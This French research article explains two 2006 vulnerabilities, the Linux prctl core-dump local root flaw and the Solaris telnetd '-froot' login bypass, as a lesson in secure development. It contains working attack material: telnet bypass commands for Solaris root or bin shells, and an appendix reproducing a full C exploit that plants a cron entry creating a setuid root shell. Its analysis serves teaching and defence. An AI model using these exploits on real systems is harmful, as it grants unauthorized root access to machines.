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Résumé

Ce document décrit sur deux failles assez récentes. La première concerne

les noyaux Linux pendant l’été 2006. Une nouvelle fonctionnalité est apparue

dans le noyau 2.6.13, a priori utile pour les développeurs . . .mais pas seulement

pour eux.

La seconde faille vise le serveur telnet sous Solaris. Là encore, une fonction-

nalité dans le démon met à mal toute l’architecture de sécurité du système.

Qui a dit que l’exploitation d’une faille noyau ou d’une faille à distance

devait être compliquée ? Ici, ce n’est pas du tout le cas.

Sogeti IS assure la publication des travaux scientifiques de recherche et d’analyse de l’ESEC,

traitant d’une problématique de sécurité informatique. Cette publication, protégée par les

droits d’auteur, n’est pas destinée à être commercialisée sous aucune forme.

1 La faille prctl du noyau Linux

1.1 L’appel système prctl

L’appel système prctl permet de contrôler de multiples paramètres lors de l’exé-
cution d’un processus : quel signal doit-il envoyer lorsqu’il meurt, peut-on le dum-

per1, etc.
Le paramètre qui nous préoccupe est PR_SET_DUMPABLE. Un processus est dumpé

par exemple quand il plante. Il reçoit alors le signal SIGSEGV, et le gestionnaire par
défaut de ce signal indique qu’il doit créer une image mémoire du processus afin
d’être débuggé pour corriger le problème : ce sont les fameux fichiers core (ou
coredump).

Par défaut, une règle de sécurité sous Unix interdit de dumper un processus
qui n’appartient au lanceur. C’est en particulier le cas des binaires Set-UID. Ces
programmes tournent sous l’identité, non du lanceur, mais du propriétaire du fichier,
root en général. Une règle de sécurité Unix interdit à un tel processus, lorsqu’il
plante, de créer un fichier core, sauf dans des conditions bien précises.

L’appel système prctl fournit une possibilité de gérer cela au cas par cas, pro-
cessus par processus, soit en interdisant le dump pour ses propres processus, soit en
autorisant le dump même pour les processus Set-UID.

A priroi, au pire, tout ce que permet cet appel système est de dumper un proces-
sus qui ne pourrait normalement l’être, du moment qu’il est lancé par l’utilisateur.

1Dumper un processus consiste à prendre son image en mémoire, et à la retranscrire sur le

disque dur.

1



1.2 Exploiter l’appel système prctl 2

Cela crée un fichier core appartenant à root, ce qui peut être fait dans n’importe
quel répertoire.

1.2 Exploiter l’appel système prctl

Nous venons de voir que tout ce que permet prctl, c’est de dumper un processus,
dans n’importe quel répertoire, même s’il est set-UID. Cela s’avère suffisant pour
prendre le contrôle d’un système.

Le principe de l’exploitation est très simple. Il s’agit de créer un fichier core,
mais de faire en sorte que :

– il contienne les instructions de notre choix ;
– il soit exécuté par un programme avec des privilèges supérieurs aux nôtres.
Pour ceux qui connaissent le fonctionnement d’un système Unix, la cible est

toute désignée : le démon chargé d’exécuter des tâches à intervalle régulier, cron.
Ce n’est pas le seul vecteur d’attaque envisageable. On pourra aussi utiliser lo-

grotate. En fait, d’une manière général, tout démon qui s’appuie sur des fichiers
pour s’exécuter est une cible potentielle. En pratique, peu d’entre eux sont satisfai-
sants pour différentes raisons :

– xinet et son répertoire de configuration par défaut. Mais d’une part, cela
demande un redémarrage du système. D’autre part, la conformité de la syntaxe
du fichier core par rapport aux attentes du démon est bloquante.

– cron.hourly et autres demandent à ce que le fichier soit exécutable, ce qui
n’est pas le cas.

– d’autres répertoires dans /var sont aussi éliminés pour des raisons similaires.
L’exploitation consiste donc à créer un fichier qui sera pris en charge par cron,

et qui contiendra donc une entrée avec les commandes de notre choix. Et pour créer
ce fichier, on va provoquer un core dans le répertoire par défaut de cron, à savoir
/etc/cron.d.

Ainsi, nous connaissons maintenant avec précision les conditions pour une ex-
ploitation réussie de cette faille :

– l’appel système prctl avec l’option 2 pour créer un fichier core n’importe où ;
– un mécanisme capable de traiter notre fichier, quel que soit son format :
cron ou logrotate.

La conception de l’exploit suit ces 2 principes :
– dans la mémoire de notre processus, on inscrit la châıne qui sera traitée par
cron ;

– on change le répertoire de travail de notre processus pour aller dans /etc/-

cron.d ;
– on fait planter notre propre processus, par exemple en lui envoyant un signal

qui provoque un core (cf. kill(1)), comme SIGQUIT ;
– on attend :

cron then wakes up every minute, examining all stored crontabs,

checking each command to see if it should be run in the current

minute.

Plusieurs exploits sont publiquement disponibles et reposent tous sur ce méca-
nisme (cf. annexe A page 6 à titre illustratif).

1.3 Derniers mots

Pour faire court, ajouter de nouvelles fonctionnalités, c’est sympa, mais encore
faut-il être capable d’en mesurer toutes les conséquences.

Comment ce bug est corrigé ? Simplement en retirant cette option du noyau.
Entre temps, certains ont aussi jugé utile de rendre cron plus strict qu’il n’est par
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défaut, afin de le forcer à n’accepter que les fichiers ayant une syntaxe correcte
(extrait du changelog sur une distribution Debian) :

* Handle errors when reading crontabs so that it stops reading

entries in a crontab file after a syntax error. This prevents a

rogue user from dumping binary files in /etc/cron.d/ or

/var/spool/cron/crontabs/ and have them executed by cron (but

binary files under /etc/cron.{daily,weekly,monthly} will still be

processed as they are handled by run-parts. Thanks to Faidon

Liambotis for the patch. (Closes: #378153)

Il faut bien comprendre que cela ne corrige en rien le problème puisqu’on l’a vu,
il existe au moins un autre biais, par logrotate. Le seul correctif valable se situe
au niveau du noyau avec le retrait de l’option.

2 Éviter l’authentification avec le serveur telnet

de Solaris

Dans cette section, nous revenons sur la nouvelle faille qui touche les serveurs
telnet sous Solaris (10 et 11). Elle permet de se connecter en root sur le serveur,
sans avoir à fournir le moindre mot de passe2.

En 2005, une faille d’une simplicité impressionnante touchait déjà le serveur
telnet de Solaris 2.6, 2.7 et 2.8 :

The vulnerability is caused due to an error in the verification of the
username. This can be exploited by supplying a valid username followed
by 64 times ” c” and a ”\n”, this would provide a shell on a vulnerable
systems.

L’exploitation en est quasi-directe et ne demande aucun shellcode ou autre vec-
teur compliqué :

batman>> telnet
telnet> environ define TTYPROMPT 123456
telnet> o robin
SunOS 5.8
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

On se dit que c’est incroyable (mais vrai), et que de telles choses ne pourront
jamais se reproduire.

Hélas, il y a pire maintenant . . .

2.1 L’exploit et la faille

La simplicité de l’exploitation est effrayante :

batman>> telnet -l "-froot" target

Mais regardons les détails pour mieux en comprendre toute la portée. Le pro-
blème initial vient du serveur lui-même :

/* /usr/src/cmd/cmd -inet/usr.sbin/in.telnetd.c */

} e l s e /* default , no auth. info available , login does it all */ {
( vo id ) e x e c l (LOGIN PROGRAM, "login" ,

"-p" , "-h" , host , "-d" , slavename ,
getenv ( "USER" ) , 0 ) ;

}

2Voir l’annonce initiale http://www.com-winner.com/0day was the case that they gave me.pdf
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Ainsi, lorsqu’aucune information d’authentification n’est fournie au démon tel-
net, il passe la main à login, charge à lui de gérer l’authentification. D’après l’exploit
précédent, on constate que la variable USER vaut -froot puisqu’elle est fixée par
l’option -l.

L’attaquant utilise donc cette variable pour passer un argument supplémentaire
à login. Examinons le traitement de cet argument :

case ’f’ :
/*
* Must be root to bypass authentication
* otherwise we exit () as punishment for trying.
*/

i f ( ge tu id ( ) != 0 | | geteu id ( ) != 0) {
a u d i t e r r o r = ADT FAIL VALUE AUTH BYPASS ;
l o g i n e x i t ( 1 ) ; /* sigh */
/* NOTREACHED */

}
/* save fflag user name for future use */
SCPYL( user name , optarg ) ;
f f l a g = B TRUE ;

La commande login étant appelée par le serveur telnet (qui tourne en root), le
premier test est vrai, et le user est fixé à celui passé en argument : au choix, root,
admin, adm, . . .

2.2 Derniers mots

Outre le fait qu’on peut se demander pourquoi on trouve encore des serveurs
telnet alors qu’il existe le protocole SSH et ses multiples implémantions dont l’une
réellement sécurisée et totalement gratuite3, cette faille montre sous un autre angle
que l’ajout de fonctionnalité n’est pas toujours sans conséquence.

L’exploitation est triviale, et ne demande aucune connaissance particulière ou
de shellcode super évolué. Il faut arrêter de croire que la complexité technique peut
éviter d’être piraté : les failles simples existent à foison, et les exploits automatiques
pour les failles compliquées aussi (même pas besoin de comprendre la faille pour
l’exploiter).

3 En guise de conclusion

Quand on développe une application, il est essentiel de prendre en compte la
sécurité dès le début du développement. Malheureusement, cette vision idéale est
confrontée à plusieurs problèmes.

Tout d’abord, les délais de développement sont très souvent vus au minimum
(voire moins) pour réduire les coûts. Les tests sont réduits à une expression fonction-
nelle : est-ce que le programme fait ce qu’on attend de lui ? Il s’agit d’une condition
nécessaire, mais elle est loin d’être suffisante en terme de sécurité. Il faudrait aussi
se demander si le programme ne fait pas plus que ce qui lui est demandé, comment
il se comporte face à l’erreur, etc. ce qui n’est pratiquement jamais fait.

Ensuite, il est rare que les développeurs soient sensibilisés à ces problèmatiques.
On le constate d’ailleurs de plus en plus dans les applications web : il existe des
tonnes d’outils pour développer des applications web qui permettent à tout un cha-
cun de créer ses propres applications sans être pour autant informaticien. Imaginons
que du jour au lendemain, Mme Michu devienne juge ou physicienne nucléaire, et on
pourrait craindre des résultats surprenants. C’est pareil avec l’informatique. N’im-
porte qui peut développer une application web + base de données, mais tout le
monde ne peut pas le faire bien, et encore moins de manière sécurisée.

3Voir http://openssh.org
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Plus généralement, ce problème est exactement le même que celui de la concep-
tion d’une architecture réseau. Tout le monde (ou presque) a bien saisi le risque
d’avoir un réseau à plat, avec le service de la paye, de la direction des RH, et autres
qui communiquent joyeusement sans aucune barrière. Pourquoi ne pas appliquer ces
même principes dans les applications ?

Au-delà, il faut aussi regarder la sécurité d’une manière plus globale, et se de-
mander systématiquement quel est l’impact d’une modification. Les deux exemples
présentés dans cet article montrent bien que ne pas prendre en considération cela
peut avoir des conséquences immédiates et fâcheuses.
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A Exploit prctl par raptor utilisant cron

/* ****************************************************/
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE -2006 -2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna@aditel.org > (main PoC code) */
/* - RoMaNSoFt <roman@rs -labs.com > (local root code) */
/* [ 10. Jul .2006 ] */
/* ****************************************************/

#inc l u d e <s t d i o . h>

#inc l u d e <s y s / t ime . h>

#inc l u d e <s y s / r e s o u r c e . h>

#inc l u d e <un i s t d . h>

#inc l u d e < l i n u x / p r c t l . h>

#inc l u d e < s t d l i b . h>

#inc l u d e <s y s / t yp e s . h>

#inc l u d e < s i g n a l . h>

char ∗pay load="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *
root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n" ;

i n t main ( ) {
i n t c h i l d ;
s t r u c t r l i m i t c o r e l i m i t ;
p r i n t f ( "Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n" ) ;
p r i n t f ( "By: dreyer & RoMaNSoFt\n" ) ;
p r i n t f ( "[ 10.Jul .2006 ]\n\n" ) ;

c o r e l i m i t . r l im c u r = RLIM INFINITY ;
c o r e l i m i t . r l im max = RLIM INFINITY ;
s e t r l i m i t (RLIMIT CORE , &c o r e l i m i t ) ;

p r i n t f ( "[*] Creating Cron entry\n" ) ;

i f ( ! ( c h i l d = f o r k ( ) ) ) {
c hd i r ( "/etc/cron.d" ) ;
p r c t l (PR SET DUMPABLE , 2 ) ;
s l e e p ( 2 0 0 ) ;
e x i t ( 1 ) ;

}

k i l l ( ch i l d , SIGSEGV ) ;

p r i n t f ( "[*] Sleeping for aprox. one minute (** please wait **)\n" ) ;
s l e e p ( 6 2 ) ;
p r i n t f ( "[*] Running shell (remember to remove /tmp/sh when finished )\n" ) ;
system ( "/tmp/sh -i" ) ;

}


